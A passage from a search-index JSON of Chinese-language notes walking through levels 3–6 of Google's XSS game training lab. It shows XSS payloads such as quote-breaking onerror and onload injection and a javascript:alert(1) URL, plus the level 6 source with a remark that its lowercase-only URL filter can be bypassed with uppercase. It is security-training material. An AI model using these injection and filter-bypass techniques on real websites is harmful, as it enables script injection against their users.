\u8fdb\u884c\u6d4b\u8bd5\uff0c\u53d1\u73b0\u8be5\u300e\u5e8f\u53f7\u300f\u76f4\u63a5\u62fc\u63a5\u5230\u4e86 \u6807\u7b7e\u7684 src \u5c5e\u6027\u4e2d \u4e0d\u8fc7\u9700\u8981\u6ce8\u610f\u53ea\u6709\u5355\u5f15\u53f7\u624d\u53ef\u4ee5\u622a\u65ad\uff0c\u67e5\u770b JS \u4ee3\u7801\u53ef\u77e5 \u5355\u5f15\u53f7\u622a\u65ad\uff0c\u63d2\u5165 onerror \u5c5e\u6027\uff0c\u5b8c\u6210\u5f39\u6846","title":"Level 3: That sinking feeling..."},{"location":"web/xss_game/#level-4-context-matters","text":"\u63d0\u4ea4\u4e00\u4e2a\u6574\u6570\uff0c\u4f1a\u542f\u52a8\u4e00\u4e2a\u8ba1\u65f6\u5668\u5e76\u5728\u6574\u6570\uff08\u63d0\u4ea4\u7684\u6574\u6570\uff09\u79d2\u540e\u5f39\u6846\uff0c\u63d0\u793a\u300e\u8ba1\u65f6\u7ed3\u675f\u300f \u67e5\u770b\u6e90\u7801\uff0c\u6ce8\u610f\u5230 < img src = \"/static/loading.gif\" onload = \"startTimer('{{ timer }}');\" /> \u63d0\u4ea4\u4e00\u4e2a\u5355\u5f15\u53f7 ' \uff0c\u63a7\u5236\u53f0\u4f1a\u62a5\u9519\uff0c\u610f\u5473\u7740\u9003\u9038\u7684\u53ef\u80fd\u6027 \u4e8b\u4ef6\u5c5e\u6027\u4e2d\u53ef\u4ee5\u6dfb\u52a0\u591a\u4e2a\u51fd\u6570\uff0c\u5728 onload \u4e8b\u4ef6\u5c5e\u6027\u4e2d\u518d\u585e\u4e00\u4e2a alert \u51fd\u6570\u5c31\u53ef\u4ee5\u4e86\u5495\uff01","title":"Level 4: Context matters"},{"location":"web/xss_game/#level-5-breaking-protocol","text":"\u5171\u4e09\u4e2a\u754c\u9762\uff1a\u4e3b\u754c\u9762\u3001\u6ce8\u518c\u754c\u9762\u548c\u6ce8\u518c\u5b8c\u6210\u63d0\u793a\u8df3\u8f6c\u7684\u754c\u9762 \u6ce8\u518c\u754c\u9762\u7684 URL \u5305\u542b\u53c2\u6570 next \uff0c\u540c\u65f6\u6ce8\u518c\u754c\u9762\u7684 Next >> \u6309\u94ae\u7684 href \u5c5e\u6027\u7684\u503c\u7531\u8be5\u53c2\u6570\u51b3\u5b9a # part of level.py if \"signup\" in self . request . path : self . render_template ( 'signup.html' , { 'next' : self . request . get ( 'next' )}) # part of signup.html < a href = \"{{ next }}\" > Next >> href \u5c5e\u6027\u53ef\u4ee5\u94fe\u63a5 JS\u3002\u8bbf\u95ee https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1 )\uff0c\u5e76\u70b9\u51fb Next >> \u53ef\u5f39\u6846","title":"Level 5: Breaking protocol"},{"location":"web/xss_game/#level-6-follow-the","text":"\u8bbf\u95ee\u6587\u4ef6\u7684\u6587\u4ef6\u540d\u662f\u901a\u8fc7\u8bbf\u95ee URL \u4e2d # \u540e\u7684\u5b57\u7b26\u4e32\u51b3\u5b9a\uff0c\u622a\u53d6\u5b57\u7b26\u4e32\u540e\u4f20\u9012\u7ed9 includeGadget \u51fd\u6570\u505a\u540e\u7eed\u5904\u7406 // Take the value after # and use it as the gadget filename. function getGadgetName() { return window.location.hash.substr(1) || \"/static/gadget.js\"; } includeGadget(getGadgetName()); function includeGadget(url) { // \u521b\u5efa\u4e00\u4e2a script \u6807\u7b7e var scriptEl = document.createElement('script'); // This will totally prevent us from loading evil URLs! // \u53ea\u5339\u914d\u5c0f\u5199\uff0c\u5927\u5199\u5373\u53ef\u7ed5\u8fc7 if (url.match(/^https?:\\/\\//)) { setInnerText(document.getElementById(\"log\"), \"Sorry, cannot load a URL containing \\\"http\\\".\"); return; } // Load this awesome gadget scriptEl.src = url; // Show log messages scriptEl.onload = function() { setInnerText(document.getElementById(\"log\"), \"Loaded gadget from \" + url); } scriptEl.onerror = function() { setInnerText(document.getElementById(\"log\"), \"Couldn't load gadget from \" + url); } // \u63d2\u5165\u5230 head \u4e2d document.head.appendChild(scriptEl); }